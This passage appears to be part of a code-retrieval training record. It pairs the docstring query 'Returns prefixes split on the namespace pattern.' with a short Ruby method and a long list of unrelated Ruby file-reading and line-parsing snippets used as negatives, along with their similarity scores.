input_lines = input_lines.delete_if { |line| line == \"\\n\" } # There can be empty lines\n iterate_over_lines_and_fetch_domain(input_lines)\n end\n end\n end", "def each\n\t\t\tfilename = self.class.to_s.downcase + '.txt'\n\t\t\tfile = File.new(filename)\n\t\t\t@headers = file.gets.chomp.split(', ')\n\n\t\t\tfile.each { |row| yield CsvRow.new(row.chomp.split(', ')) }\n\t\tend", "def line_maker\n @lines = File.readlines(path, chomp: true)\n end", "def analyze_file()\n arrayLinAnaly=[]\n linenum=0\n File.foreach('test.txt') do |line|\n arrayLinAnaly << LineAnalyzer.new(line, linenum)\n linenum+=linenum\n end\n return arrayLinAnaly\n end", "def potential_lines(filename); end", "def each\r\n @input.rewind\r\n \r\n @input.each do |line|\r\n if line =~ REGEXP_ENTRY\r\n yield $1\r\n end\r\n end\r\n end", "def process(orig_file)\n end", "def process(line)\n parts = line.chomp.split(/\\t/)\n keys = line_key(parts)\n keys.each do |k|\n yield [k, *parts]\n end\n end", "def parsed_lines\n eval(file_lines)\n end", "def process_line(line)\n if (@custom_processor && @custom_processor.class.method_defined?(:process_line))\n @custom_processor.process_line line\n else\n line.split ' '\n end\n end", "def each\n res = Hash.new {|h, k| h[k] = ''}\n @file.each do |line|\n if line.chomp.empty?\n yield(res)\n res = Hash.new {|h, k| h[k] = ''}\n else\n if m = @line_regexp.match(line)\n res[m[1].downcase] = m[2]\n else \n res[\"body\"] += line.gsub(/\\A\\./, '').gsub(/\\A /, '')\n end\n end\n end\n ensure\n @file.close\n end", "def run\n begin\n yield @first_line if block_given?\n while (size = File::Stat.new(@filename).size) >= @next_start\n size = @file.stat.size\n reset_buffer_size\n begin\n line = \"\"\n @file.seek(@next_start, File::SEEK_SET)\n @file.read(@buf_size, @buffer)\n buffer_start = @next_start\n found_new_line = false\n 0.upto(@buffer.size - 1) do |index|\n line << @buffer[index]\n if @buffer[index].chr == \"\\n\"\n yield(line) if block_given?\n line = \"\"\n found_new_line = true\n @next_start = buffer_start + index + 1\n end\n end\n unless found_new_line || @buffer.empty?\n raise BufferError\n end\n rescue BufferError\n increment_buffer_size\n retry\n end\n\t sleep 0.01\n end\n rescue Errno::ENOENT\n # Wait until the file is recreated\n while !File.exists?(@filename)\n sleep 0.05\n end\n end\n end", "def process_file(file_name)\n\tputs \"Processing File.... \"\n\n\tbegin\n\t\tif RUBY_PLATFORM.downcase.include? 'mswin'\n\t\t\tfile = File.open(file_name)\n\t\t\tunless file.eof?\n\t\t\t\tfile.each_line do |line|\n\t\t\t\t\t# do something for each line (if using windows)\n\n\t\t\t\tend\n\t\t\tend\n\t\t\tfile.close\n\t\telse\n\t\t\tIO.foreach(file_name, encoding: \"utf-8\") do |line|\n\t\t\t\t# do something for each line (if using macos or linux)\n\t\t\t\ttesting = cleanup_title(line)\n\t\t\t\tgenBigram(testing)\n\t\t\tend\n\t\tend\n\n\t\tputs \"Finished. Bigram model built.\\n\"\n\trescue\n\t\tSTDERR.puts \"Could not open file\"\n\t\texit 4\n\tend\nend", "def read\n @fileobj = File.open(@fname,\"r\")\n parse_header_line(@fileobj.readline) unless @fileobj.eof?\n\n while (!@fileobj.eof?)\n yield(parse_data_line(@fileobj.readline))\n end\n end", "def each(eol=$/)\n while line = self.gets(eol)\n yield line\n end\n end", "def loop_over_asset_lines(file_name)\n line_count = 0\n puts \"Loading #{file_name}\"\n batch_size = 25000\n File.open(file_name) do |file|\n file.each_slice(batch_size) do |lines|\n line_count += lines.length\n Parallel.each(lines, in_processes: 8) do |line|\n asset_json = FastJsonparser.parse(line, symbolize_keys: false)\n AssetRouter.new(asset_json, @import_id, @db)\n line_count += 1\n end\n end\n end\n\n puts \"\\n\\nDone loading #{file_name}. (#{line_count} lines)\"\n end", "def get_records (f)\n fh = File.open(f, 'r');\n i = 0;\n fh.each_line do |line|\n i += 1;\n line.strip!\n yield i, line;\n end\n fh.close();\n end", "def process\n lines = clean_lines\n\n # Peek ahead to get the headers\n unless @file_content.blank?\n CSV.parse(@file_content, {:headers => true, :skip_blanks => true}) do |row|\n @rows_exist = true\n @headers = row.headers\n break\n end\n end\n\n @rows_exist = @rows_exist and !@headers.blank?\n end", "def pbCompilerEachPreppedLine(filename)\r\n File.open(filename,\"rb\") { |f|\r\n FileLineData.file = filename\r\n lineno = 1\r\n f.each_line { |line|\r\n if lineno==1 && line[0].ord==0xEF && line[1].ord==0xBB && line[2].ord==0xBF\r\n line = line[3,line.length-3]\r\n end\r\n line.force_encoding(Encoding::UTF_8)\r\n line = prepline(line)\r\n if !line[/^\\#/] && !line[/^\\s*$/]\r\n FileLineData.setLine(line,lineno)\r\n yield line, lineno\r\n end\r\n lineno += 1\r\n }\r\n }\r\n end", "def analyze_file\n\n path = File.join(File.dirname(__FILE__), \"test.txt\")\n file = File.open(path, 'r+')\n line_number = 1\n\n File.foreach(file) do |line|\n content = line.chomp\n \n new_line_analyzer = LineAnalyzer.new(content, line_number)\n \n @@analyzers.push(new_line_analyzer)\n\n \n # @@analyzers.each do |line|\n # p line.content\n # p line_number\n # p @@analyzers.length\n # puts \"++++++++++++++++++++\"\n # end\n\n line_number +=1\n\n \n\n end\n\n 4.times do |index| \n if index > 0 \n p @@analyzers[index-1].content\n p index\n end \n end \n\n end", "def each(options = {})\n options = { delimiter: \"\\t\", progress_bar: true }.merge(options)\n \n # Create the progress bar\n if options[:progress_bar]\n `wc -l #{@io.path}` =~ /\\d+/\n pbar = ProgressBar.new(\"Parsing #{Pathname.new(@io.path).basename}\", $~[0].to_i, STDOUT)\n end\n \n @io.each do |raw_line|\n pbar.inc if options[:progress_bar]\n \n # Handle possible issues with line return encodings\n cr_lines = raw_line.strip.split(\"\\r\")\n cr_lines.each do |line|\n # Skip lines that are comments.\n # TODO: This eventually may want to be handled differently since some comments are actually pragmas\n begin\n next if line =~ /^(#|\\s+$)/\n rescue\n # Try to handle for bad character conversion\n line = Iconv.new('UTF-8//IGNORE', 'UTF-8').iconv(line)\n next if line =~ /^(#|\\s+$)/\n end\n \n yield line.split(options[:delimiter]).map(&:strip)\n end\n end\n end", "def each_word(&block)\n File.open(@path) do |file|\n file.each_line do |line|\n yield line.chomp\n end\n end\n end", "def process_file(file_name)\n\tputs \"Processing File.... \"\n\n\tbegin\n\t\tIO.foreach(file_name) do |line|\n\t\t\tsong = cleanup_title(line)\n\n\t\t\tif not song.nil? and song =~ /^[\\d\\w\\s']+$/\n\t\t\t\tsong = song.downcase\n\t\t\t\tsong.gsub!(/ {2}/, \" \")\n\t\t\t\tsong = remove_stop_words(song)\n\t\t\t\twords = song.split(\" \");\n\n\t\t\t\tupdate_bigram_counts(words)\n\t\t\tend\n\t\tend\n\n\t\tputs \"Finished. Bigram model built.\\n\\n\"\n\trescue\n\t\tSTDERR.puts \"Could not open file\"\n\t\texit 4\n\tend\nend", "def process_logfile\n # Read each line from the logfile and process it.\n IO.foreach(@logfile) { |line|\n @endpoints.add(LineTokenizer.new(line))\n @loglines += 1\n }\n end", "def process_line(_line)\n raise NotImplementedError\n end", "def process_file(file_name)\n\tputs \"Processing File.... \"\n\t#begin\n\t#processes file at each line\n\tIO.foreach(file_name) do |line|\n\t\t#cleans up song title\n\t\tline = cleanup_title(line)\n\t\t#prevents a nil error with a cleaned up song\n\t\tif line != nil\n\t\t\t#removes stop words from line\n\t\t\tline = cleanupStopWords(line)\n\t\t\t#creates an array of bigrams as found on stackoverflow.com\n\t\t\tbigramArray = line.split.each_cons(2) do |e|\n\t\t\t\t#checks if the bigram exists\n\t\t\t\tif e[0] && e[1] != nil\n\t\t\t\t\t#makes a count from the existing bigram hash value\n\t\t\t\t\tcount = $bigrams[e[0]][e[1]]\n\t\t\t\t\tcount += 1\n\t\t\t\t\t#sets bigram hash value to updated count\n\t\t\t\t\t$bigrams[e[0]][e[1]] = count\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\tputs \"Finished. Bigram model built.\\n\"\nrescue\n\tSTDERR.puts \"Could not open file\"\n\texit 4\nend", "def process_line(line, &block)\n return enum_for(:process_line, line) unless block\n\n if @row_index < header_lines\n consume_header_line(line, @columns)\n else\n transform_line(line, @row_index, &block)\n end\n\n @row_index += 1\n\n # We've now seen enough lines to have consumed a valid header; is this the case?\n fail_unless_header_complete(@columns) if @row_index == header_lines\n\n @notifier.try(:processed, @row_index)\n end", "def load_lines file\n\n\t\tlines = Array.new\n\t\tlines = @file.split(\"\\n\")\n\n\t\t#fuck that, i dont like the dyanmic feed, just pre-parse it\n\t\tlines.map! do |line| #map overwrites the old array\n\t\t\tif line.include? '#'\n\t\t\t\tsplit = line.split '#'\n\t\t\t\t#puts split.to_s\n\t\t\t\tsplit.shift\n\t\t\telse\n\t\t\t\tline\n\t\t\tend\n\t\tend\n\n\t\t#removing blank lines\n\t\tlines.delete_if do |line|\n\t\t\ttrue if line.empty?\n\t\tend\n\n\t\tlines.each { |line| line.chomp! }\n\n\t\tlines\n\tend", "def scan_file (file_name)\n #for each line\n File.open(file_name).each do |line|\n parsed_line = parse_line line\n raise \"Invalid spec format:\\n\" + line if parsed_line.class == InvalidLine\n update_on_new_line parsed_line\n end \n @test_suite.add_test_case current_test_case if current_test_case && @state.class == AddingTestCases\n @test_suite\n end", "def loop_over_asset_lines(file_name)\n puts \"Loading #{file_name}\"\n batch_size = 50_000\n File.open(file_name) do |file|\n file.each_slice(batch_size) do |lines|\n Parallel.each(lines, in_processes: 8) do |line|\n asset_json = FastJsonparser.parse(line, symbolize_keys: false)\n if (%w[account service region resource] - asset_json.keys).empty? || validate_schema(asset_json)\n AssetRouter.new(asset_json, @import_id, @db)\n end\n end\n end\n end\n puts ''\n puts \"Done loading #{file_name}\"\n end", "def iterate_several_file file_path\n #Iterate file line by line\n result_lines_in_file = []\n reg = /.*#{@phrase_we_have_now}.*/\n file = File.open(file_path, \"r\") do |f|\n f.each_line do |line|\n if line.match?(reg)\n result_lines_in_file << line\n end\n end\n end\n result_lines_in_file\n end", "def analyze_file\n File.foreach('test.txt') do |line|\n @@i = @@i + 1\n #puts line\n new_line = LineAnalyzer.new(line, @@i)\n #puts new_line.highest_wf_count\n #puts \"#{new_line.highest_wf_words} #{new_line.highest_wf_count}\"\n @analyzers << new_line\n end\n end", "def map_lines\n while (inline = input.gets)\n output.puts yield(inline)\n end\n end", "def get_lines(filename); end", "def process_line(line)\n @line = line\n if line =~ /^=/ then\n process_heading_line(line)\n elsif (listtype = special_list_line_type(line)) then\n special_list_line(listtype, line)\n elsif line =~ /^\\s*:/ then\n special_list_continuation_line(line)\n else\n @interp.normal_line(line)\n end\n end", "def each_input_line\n with_input_io{|io| io.each_line(&Proc.new)}\n end", "def each\n parsed_line = \"\"\n @lines.each do |line|\n parsed_line += line\n if parsed_line.count('\"') % 2 == 0\n yield create_row(parsed_line)\n parsed_line = \"\"\n end\n end\n end", "def initialize(file)\n @lines = []\n command_file = File.open(file)\n command_file.each_line{|x| @lines.push(x.chomp)}\n command_file.close\n process_command_file.g\n end", "def process_file(file_name)\n\tputs \"Processing File.... \"\n\n\tbegin\n\t\t#IO.foreach(file_name) do |line|\n\t\tsize = File.new(file_name).size\t# This is the only way I've been able to get the entire unique_tracks.txt to be read\n\t\tfile = File.open(file_name)\n\t\tlines = file.read(size)\n\t\tlines_array = lines.split(\"\\n\")\n\t\tlines_array.each do |line|\t# For each line of the file\n\t\t\tline += \"\\n\"\t# Above file parsing splits lines on the \\n character, but the cleanup_title\n\t\t\t # method uses the \\n charaacter in the non-English characters check so it needs to be added back\n\t\t\ttitle = cleanup_title(line)\t# Removes unwanted text and sets string to downcase\n\t\t\tbuild_bigram(title)\t# Builds the bigram structure\n\t\tend # do lines.each\n\t\tputs \"Finished. Bigram model built.\\n\"\n\trescue # begin\n\t\tSTDERR.puts \"Could not open file\"\n\t\traise\n\t\texit 4\n\tend # rescue\nend", "def\tparse_file\n CSV.foreach(@file) do |row|\n begin\n rid, price, item = row[0].strip.to_i, row[1].strip.to_f, row[2..-1].map(&:strip).join('-').downcase\n validate(rid, price, item) ? load(rid, price, item) : puts(\"Escaping invalid row: #{row}\")\n rescue StandardError \n puts \"Escaping incorrect row: #{row}\"\n end\n end\n end", "def transform index_file\n InputBatch.log.info \"Opened txt file for processing\"\n puts \"Opened txt file for processing\"\n InputBatch.log.info \">>Index Transformation Starts \" + Time.now.to_s\n puts \">>Index Transformation Starts \" + Time.now.to_s\n @jobs = []\n @txt_lines = File.readlines(index_file)\n txt_lines.each do |row|\n @row = row.chomp\n save_records\n end\n\n puts \">>Index Transformation Ends \" + Time.now.to_s\n InputBatch.log.info \">>Index Transformation Ends \" + Time.now.to_s\n end", "def parseFile(fname)\r\n $LOG.debug \"Parser::parseFile( #{fname} )\"\r\n puts \"Parsing file: #{fname}\" if @context.verbose\r\n\r\n # Determine the mode and configure plugins based on the file data.\r\n configureForFileMode(fname)\r\n\r\n line_count = 1\r\n # Open the file and read line by line\r\n df = File.open(fname).each do |ln|\r\n puts line_count.to_s if $DEBUG\r\n line_count += 1\r\n @plugins.each do |plug|\r\n puts \" --> #{plug.class}\" if $DEBUG\r\n break if ( true == plug.execute(@context, ln))\r\n end # plugins.each\r\n end # do file\r\n\r\n puts \"Lines parsed: #{line_count}\" if @context.verbose\r\n end", "def parse filename\n clear\n File.open filename do |f|\n f.each_line &method(:parse_line)\n end\n self\n end", "def each_input_line(&block)\n @input.each_line {|l| block.call l.chomp }\n end", "def pbCompilerEachCommentedLine(filename)\r\n File.open(filename,\"rb\") { |f|\r\n FileLineData.file = filename\r\n lineno = 1\r\n f.each_line { |line|\r\n if lineno==1 && line[0].ord==0xEF && line[1].ord==0xBB && line[2].ord==0xBF\r\n line = line[3,line.length-3]\r\n end\r\n line.force_encoding(Encoding::UTF_8)\r\n if !line[/^\\#/] && !line[/^\\s*$/]\r\n FileLineData.setLine(line,lineno)\r\n yield line, lineno\r\n end\r\n lineno += 1\r\n }\r\n }\r\n end", "def readFile\r\n\t\tfile = File.open(fileName, \"r\")\r\n\r\n\t\t#Array for partial matches\t\t\r\n\t\t@dictionary = Array.new\r\n\t\tfile.each do |line|\r\n\t\t\tif line != \"\\n\"\r\n\t\t\t\t@dictionary << line.split(/[:;\\n]/)\r\n\t\t\tend\r\n\t\tend\r\n\t\tstartStrategies\r\n\tend", "def parse(filename)\n\t\tFile.open(filename,\"r\").each do |line|\n\t\t\tfrom,to,weight = line.split(\" \")\n\t\t\tyield from,to,weight\n\t\tend\n\tend", "def parse_file(file_name)\n state_machine = builder.build\n File.foreach(file_name).with_index do |line, _line_num|\n builder.reset\n state_machine.line = clean_line(line)\n state_machine.execute\n end\n end", "def process_line(line)\n line.split ' '\n end", "def parse_file(filename)\n start = Time.now\n open filename do |file|\n data = {}\n i = 0\n file.each do |line|\n date, query = line.chomp.split(\"\\t\")\n\n insert(date, query)\n i += 1\n end\n puts \"Successfully read #{i} lines.\"\n end\n puts \"Done in #{Time.now - start} seconds.\"\n end", "def parse_log_file(file)\n File.open(file) { |input|\n input.each_line.inject(Array.new) { |acc, text|\n entry = restartable do\n restart :skip_log_entry do\n leave\n end\n parse_log_entry(text)\n end\n entry ? acc << entry : acc\n }\n }\nend", "def process_file(file_name)\n\tputs \"Processing File.... \"\n\n\tbegin\n\t\tall = Hash.new\n\t\tIO.foreach(file_name) do |line|\n\t\t\t# do something for each line\n\t\t\ttitle = cleanup_title(line)\n\t\t\tunless title.nil?\n\t\t\t\tgram = title.split().each_cons(2).to_a\n\t\t\t\tgram = gram.map{ |n| n.join(' ') }\n \t\t\t\tgram = gram.each_with_object(Hash.new(0)) { |word, obj| obj[word] += 1 }\n \t\t\t\tif gram.any?\n\t \t\t\t\tall.merge!(gram) { |k, old, new| old + new }\n\t \t\t\tend\n\t\t\tend\n\t\tend\n\t\t$bigramsArray = all.sort_by { |k, v| -v }\n\t\tcreate_hash()\n\t\tputs \"Finished. Bigram model built.\\n\"\n\trescue\n\t\tSTDERR.puts \"Could not open file\"\n\t\texit 4\n\tend\nend", "def analyze_file (file_name)\n @analyzers = []\n # this will get an instance of LineAnalyzer for each line of your data file into an array\n File.foreach(file_name).with_index do |line, line_number|\n # << is a common shorthand to append an item to an array\n @analyzers << LineAnalyzer.new(line, line_number + 1) # add one because line_number will start at 0\n end\n @analyzers # so we can examine the return\n end", "def process_skipped_lines(lines); end", "def import_file(file)\n records = IO.readlines(file)\n Vocabulary::DB.transaction do\n records.each { |record| string_processing record }\n end\n end", "def process_line(line)\n line = line.chomp\n if line.match(/^Add /)\n @credit_cards << CreditCard.create(parse_credit_card_line(line))\n elsif line.match(/^Charge /)\n charge = parse_charge_line(line)\n if cc = CreditCard.first(:person => charge[:person])\n cc.charge(charge[:amount])\n end\n elsif line.match(/^Credit /)\n credit = parse_credit_line(line)\n if cc = CreditCard.first(:person => credit[:person])\n cc.credit(credit[:amount])\n end\n end\n end", "def read filename\n # Open file, Read in and process data.\n file = File.open(filename)\n file.each do |line|\n # Comma seperated data.\n # E.g. 1,2,1 => x=1, y=2, output=1\n line = line.chomp\n if line.size > 0\n # If the line is not empty, then it has data\n line = line.split \",\"\n @x << line[0].to_i\n @y << line[1].to_i\n @output << line[2].to_i\n end\n end\n end", "def parse_file\n line_count = 0\n @text.each_line do |line|\n if line == nil || line == '' || line.size == 0 || line[0] == '#' || line[0] == \"\\n\"\n next\n end\n elements = line.split(' ')\n if elements.size > 2\n puts 'Waring : '.red + 'in file \"' + @file_name.yellow + '\" ignoring line ' + line_count.to_s.yellow + ' ( it has more than one space and is not a comment )'\n else\n if elements.size == 1\n @ret << Manga_data.new(nil, nil, nil, elements[0], nil)\n else\n @ret << Manga_data.new(nil, elements[0], elements[1], nil, nil)\n end\n end\n line_count += 1\n end\n end", "def process_files files=[]\n files.each do |file|\n process_file file\n end\n end", "def process\r\n in_loop = false\r\n in_example = false\r\n\r\n fh = File.open(@source_file, 'r:utf-8')\r\n fh.each do |line|\r\n line.chomp!\r\n line.gsub!(\"\\t\", \" \") # convert tab to 2 spaces\r\n \r\n # ensure first line as driver definition\r\n unless @driver\r\n if matches = /^#{regex_proc_head}DRIVER#{regex_proc_end}(?<dname_>\\w+)\\s*$/.match(line)\r\n @driver = Driver.create(matches[\"dname_\"]) \r\n self.dump(@driver.setup)\r\n next\r\n else\r\n raise \"You must specify a driver on the first line\"\r\n end\r\n end\r\n \r\n # interrupt for loops\r\n if matches = /#{regex_loop_line}/.match(line)\r\n in_loop = true\r\n @loop_start_ln = $.\r\n next\r\n end\r\n\r\n # expand and end current loop \r\n if in_example\r\n unless /#{regex_example_head}/.match(line)\r\n self.expand_loop\r\n in_example = false\r\n in_loop = false\r\n end\r\n end\r\n\r\n # end a loop template and start a loop example\r\n if in_loop\r\n in_example = true if /#{regex_example_head}/.match(line)\r\n end\r\n\r\n # dispatch the current line to different holders\r\n if in_example\r\n self.add_example_line line\r\n elsif in_loop\r\n @loop_template = @loop_template ? @loop_template + \"\\n\" + line : line\r\n else\r\n self.process_line line, $.\r\n end\r\n end\r\n fh.close\r\n\r\n # do not forget expand last loop if it reaches over EOF.\r\n self.expand_loop if @loop_start_ln > 0\r\n\r\n # close all remain stacks\r\n self.close_stack 0\r\n\r\n self.dump(@driver.exit)\r\n @output.close if @output_file\r\n self\r\n end", "def process_file(file_name)\n\n\t# local variables declaration\n\n\t# start time of this program\n t_1 = Time.now\n \n title = nil\n\n\tputs \"Processing File.... \"\n\t\n\tbegin\n\t\tIO.foreach(file_name) do |line|\n\t\t\t# do something for each line\n\t\t\t\n\t\t\t# call the cleanup_title method and pass the line\n\t\t\t# the cleanup_title method will return cleaned up string\n\t\t\t# the cleaned up string will be stored in the title variable\n\t\t\t# title = cleanup_title(line)\n\t\t\ttitle = cleanup_title(line)\n\n\t\t\tif title != nil && title != \"\"\n\t\t\t\tbuildBigram(title)\n createWordsList(title)\n\t\t\tend\n\t\t\t\n\t\t\t\n\n\t\tend\n\n\t\tputs \"Finished. Bigram model built.\\n\"\n\n # print total amount of titles\n puts \"\\n=======================================\"\n\t\tputs \"Total number of Titels: #{$counter_1}\\n\"\n\n\t\t# end time of this program\n\t\tt_2 = Time.now\n\n\t\t# calculate time needed for computing\n\t\tt_3 = t_2 - t_1\n\n\t\t# print computing time\n puts \"Computing Time: #{t_3}\"\n puts \"=======================================\\n\\n\"\n \n\t\t#countWords()\n\t\t#printWords()\n\t\t#printBigram()\n\t\t#printTitles()\n\n\t\tmcw(\"love\")\n\n\n\trescue\n\t\tSTDERR.puts \"Could not open file\"\n\t\texit 4\n\tend\nend", "def handle(data)\n\t\t\t\tprocess_line(data)\n\t\t\tend", "def handle(line)\n parsed = parse(line)\n return unless parsed\n\n handle_parsed(parsed)\n end", "def process_file(file_name)\n\tputs \"Processing File.... \"\n\n\tbegin\n\t\tIO.foreach(file_name) do |line|\n\t\t\t# Pull title out of text line\n\t\t\ttitle = cleanup_title(line)\n\n\t\t\tif not title.nil?\n\t\t\t # Split title into individual words\n\t\t\t words = title.split(\" \")\n\n\t\t\t\t# Remove stop words\n\t\t\t\tstop_words = ['a', 'an', 'and', 'by', 'for', 'from', 'in', 'of', 'on',\n\t\t\t\t\t 'or', 'out', 'the', 'to', 'with']\n\n\t\t\t\tfor i in 0..stop_words.length-1\n\t\t\t\t\twords.delete(stop_words[i])\n\t\t\t\tend\n\n\t\t\t\t# Count subsequent words\n\t\t\t\tfor i in 0..words.length-2\n\t\t\t\t\t$bigrams[words[i]][words[i+1]] += 1\n\t\t\t\tend\n\t\t\tend\n\tend\n\n\t\tputs \"Finished. Bigram model built.\\n\"\n\trescue\n\t\tSTDERR.puts \"Could not open file\"\n\t\texit 4\n\tend\nend", "def parse_input(input_file); end", "def parse_input(input_file); end", "def read_from_file\n begin\n File.open(@file) do |file|\n file.each_line {|line| @data_for_output << line}\n end\n rescue Errno::ENOENT => e\n puts e\n exit\n end\n end", "def return_lines\n arr = IO.readlines(@filepath)\n arr.each do |x|\n @@worth_processing[@@i] = x if x.include? \"PROFILER:132\" \n @@i += 1\n end\n @@worth_processing\n end", "def read_file pn\n pn.readlines.map(&:chomp)\n .each do |line|\n @entries.add line, pn\n end\n end", "def process_file(filename)\n # check if file exists and of text type, if so, iterate through it\n if File.exist?(filename) && File.extname(filename) == '.txt'\n IO.foreach(filename) { |line| add_target(line) }\n return 'Done processing'\n end\n\n # file not found\n 'File doesn\\'t exist or is not .txt'\n end", "def pass_file_to_block(filename)\n File.open(filename, \"r\") do |infile|\n while (line = infile.gets)\n puts \"#{counter}: #{line}\"\n counter = counter + 1\n end\n end\n end", "def read_file filename\n\t\tbegin\t \n\t\t\tfile = File.new(filename, \"r\")\n\t\t\tline_number = 1\n\t\t file.each do |line|\t\t \t\n\t\t \tself.read_input_line line, line_number\n\t\t \tline_number += 1\n\t\t end\t \n\t\trescue => err\n\t\t puts \"File not loaded: #{err}\"\n\t\t err\n\t\tensure file.close if file end\n\tend", "def process_file(offset = 0)\n batch = Array.new\n idx = 0\n IO.readlines(@logfile).each do |line|\n if (idx += 1) <= offset\n next\n end\n\n m = line.match(@regex)\n if !m\n $stderr.puts \"Dropping logline '#{line}' because it does not match the parsing regex: #{@regex}\"\n next\n end\n\n if batch.size >= @batch_size\n enqueue_batch(batch.dup)\n batch.clear()\n end\n\n batch.push(m)\n end\n\n if batch.size > 0\n enqueue_batch(batch)\n end\n\n return idx\n end", "def _increment_file_line()\n\t\t@reading_line += 1\n\tend", "def readlines(&block)\n loop do\n if @lines.size < 3 && !@f.eof?\n @lines << @f.readline\n elsif @lines.size == 0 && @f.eof?\n break\n else\n yield @lines.shift\n end\n end\n end", "def run(&block)\n File.readlines(@path).each do |line|\n next if line =~ /\\s*#/ || line !~ /\\S/\n line = line.strip\n key, val = line.split(/\\s+/, 2)\n\n if key && key.size > 0\n block.call(key, val)\n end\n end\n end", "def count_lines()\n start_time = Time.now\n @file_lines = 0 \n last_block_position = 0\n prev_block_position = -1\n Rula.log(Logger::DEBUG,\"Reading file #{@filename} lines count\",self)\n file_handle = File.open(@filename,'rb')\n while data = file_handle.read(@@BLOCK_SIZE)\n original_size = data.length\n last_occurence = data.rindex(Rula.options[:line_separator])\n difference_in_size = original_size - last_occurence\n\n if data.length==1 then\n break\n end\n\n if !last_occurence.nil? then\n data = data[0..last_occurence]\n file_handle.pos -= difference_in_size\n end\n @file_lines += data.scan(/([^|#{Rula.options[:line_separator]}].*)#{Rula.options[:line_separator]}/).length\n \n (0...@@BUFFERS).each {|i| \n @buffers[i].add_hash(last_block_position, prev_block_position, file_handle.pos, @file_lines)\n }\n prev_block_position = last_block_position \n last_block_position = file_handle.pos\n end\n Rula.log(Logger::DEBUG,\"Counted #{@file_lines} lines for file #{@filename}\",self)\n ensure\n Rula.log(Logger::DEBUG,\"Counting lines ran #{(Time.now - start_time) * 1000} ms\",self)\n file_handle.close()\n load_buffer_data(0)\n end", "def process_line(line)\n if @state.include?(:data)\n process_data_line(line)\n elsif @state.include?(:auth_plain_incomplete)\n process_auth_plain_line(line)\n elsif @state.include?(:auth_login_incomplete)\n process_auth_login_line(line)\n else\n process_command_line(line)\n end\n !@state.include?(:quit) # return true unless QUIT is given\n end", "def read_txt\n # Open TXT file\n # f = File.open(self.fichero, \"r\")\n # Use TXT file content\n f = self.fichero\n # Loop thru open file lines\n f.each_line do |line|\n cod_reg = line[0,2]\n if cod_reg == '80'\n # Totals line\n amount = line[36,12]\n self.total_bills = line[22,6].to_i\n self.total_amount = (amount[0,10] + '.' + amount[10,2]).to_d\n elsif cod_reg == '02'\n # Header line\n pdate = line[36,6]\n self.nif = line[10,8]\n self.sufijo = line[18,3]\n self.process_date_time = Date.parse(pdate[4,2] + pdate[2,2] + pdate[0,2]) rescue Date.today\n elsif cod_reg == '01' || cod_reg == '90'\n # First or Last line\n else\n # Invoice charged line: Save in array\n amount = line[36,12]\n self.lista_cobros.push(bill_id: line[76,11].to_i,\n amount: (amount[0,10] + '.' + amount[10,2]).to_d,\n date: line[30,6],\n issuer: line[10,8],\n suffix: line[18,3],\n charge_code: line[21,1],\n charge_bank: line[22,4],\n charge_office: line[26,4],\n charge_id: line[48,6],\n iban_head: line[4,4],\n ccc_bank: line[54,4],\n ccc_office: line[58,4],\n ccc_dc: line[62,2],\n ccc_account_no: line[64,10],\n debit_code: line[74,1],\n cancel_code: line[75,1],\n reference: line[76,13])\n end\n end # f.each_line\n # f.close\n end", "def read_data(filename)\n count = 0\n fd = File.open(filename)\n while not fd.eof?\n line = fd.readline\n line.chomp!\n count += 1\n fields = []\n line.split('^').each do |f|\n datum = f.gsub('~~','').gsub(/^~/,'').gsub(/~$/,'')\n fields.push(datum.empty? ? nil : datum)\n end\n yield fields\n end\nrescue => e\n STDERR.puts \"error '#{e}' file '#{filename}' line #{count}\"\n exit\nensure\n fd.close\nend", "def read_feeds(fname)\r\n File.foreach(fname) {|line| process_feed(line.split(',')[0], line.split(',')[1], line.split(',')[2], line.split(',')[3])}\r\n end", "def read(file)\n i = 1\n File.foreach(file) do |line|\n row = line.strip.split(/\\s+/)\n raise Price::Error::InvalidLine, \"Line #{i} is invalid '#{line}'\" if row[0].nil? || row[1].nil? || row[2].nil?\n @items << PackItem.new(row[0], row[1].to_i, row[2].to_f.round(2))\n i += 1\n end\n end" ]
[ "0.81827724", "0.80716854", "0.697013", "0.6831404", "0.675477", "0.6689327", "0.6667099", "0.66430736", "0.66412354", "0.6545855", "0.65414196", "0.6533216", "0.64889157", "0.6443003", "0.63662827", "0.6365553", "0.6356345", "0.62659013", "0.6243177", "0.619193", "0.618939", "0.61882836", "0.618737", "0.6186351", "0.61861056", "0.6163572", "0.61490095", "0.614736", "0.61378103", "0.61352783", "0.60908115", "0.60874826", "0.6076508", "0.6061562", "0.60531926", "0.60401595", "0.60221195", "0.60178095", "0.59906197", "0.59827906", "0.5968375", "0.5967654", "0.5964453", "0.5955775", "0.5954366", "0.5949439", "0.59331864", "0.5931991", "0.59224993", "0.59164023", "0.5901291", "0.59002256", "0.58923453", "0.5887503", "0.58775383", "0.5876535", "0.5867917", "0.5857332", "0.5851558", "0.5842655", "0.5842006", "0.5841936", "0.5824066", "0.58159184", "0.58121324", "0.5809", "0.5804253", "0.58013004", "0.5797402", "0.57905674", "0.5779662", "0.57723844", "0.5771246", "0.57659453", "0.5763816", "0.5760928", "0.5747515", "0.574096", "0.57372034", "0.5732633", "0.5725859", "0.57258457", "0.5722265", "0.571378", "0.571378", "0.5713417", "0.571265", "0.5708406", "0.5707351", "0.5700564", "0.56976616", "0.5688707", "0.56849813", "0.56775254", "0.56708246", "0.5665396", "0.5661218", "0.5659022", "0.56564164", "0.56542605", "0.5653602" ]
0.0
-1
Returns prefixes split on the namespace pattern.
def prefixes prefix.split(NAMESPACE_PATTERN) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
